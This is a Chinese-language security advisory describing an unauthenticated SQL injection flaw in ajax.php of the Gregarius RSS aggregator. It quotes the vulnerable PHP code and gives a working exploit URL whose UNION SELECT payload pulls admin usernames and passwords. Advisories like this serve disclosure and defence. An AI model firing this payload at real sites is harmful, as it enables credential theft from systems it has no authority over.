Gregarius ajax.php文件SQL注入漏洞
发布日期:2008-07-29
更新日期:2008-07-30
受影响系统:Marco Bonetti Gregarius <= 0.5.4
描述:
BUGTRAQ ID:
30423
Gregarius是基于php的RSS聚合器,可以将所设定的源聚合在一起,以HTML或者XML方式输出。
Gregarius的/ajax.php文件中存在多个SQL注入漏洞,允许远程攻击者无需认证便可获得管理凭据。以下是有漏洞的代码段:
function __exp__getFeedContent($cid) {
ob_start();
rss_require('cls/items.php');
$readItems = new ItemList();
$readItems -> populate(" not(i.unread & ". RSS_MODE_UNREAD_STATE .")
and i.cid= $cid", "", 0, 2, ITEM_SORT_HINT_READ);
$readItems -> setTitle(LBL_H2_RECENT_ITEMS);
$readItems -> setRenderOptions(IL_TITLE_NO_ESCAPE);
foreach ($readItems -> feeds[0] -> items as $item) {
$item -> render();
}
$c = ob_get_contents();
ob_end_clean();
return "$cid|@|$c";
}
sajax_handle_client_request()调用上面的函数并允许攻击者通过rsargs[]数组指定$cid的内容,因此无论magic_quotes_gps设置如何都可以影响查询。
<*来源:James Bercegay (
security@gulftech.org)
链接:
http://marc.info/?l=bugtraq&m=121734846209080&w=2
http://secunia.com/advisories/31260/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.example.com/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*
建议:
厂商补丁:
Marco Bonetti
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://gregarius.net/浏览次数:3398
严重程度:0(网友投票)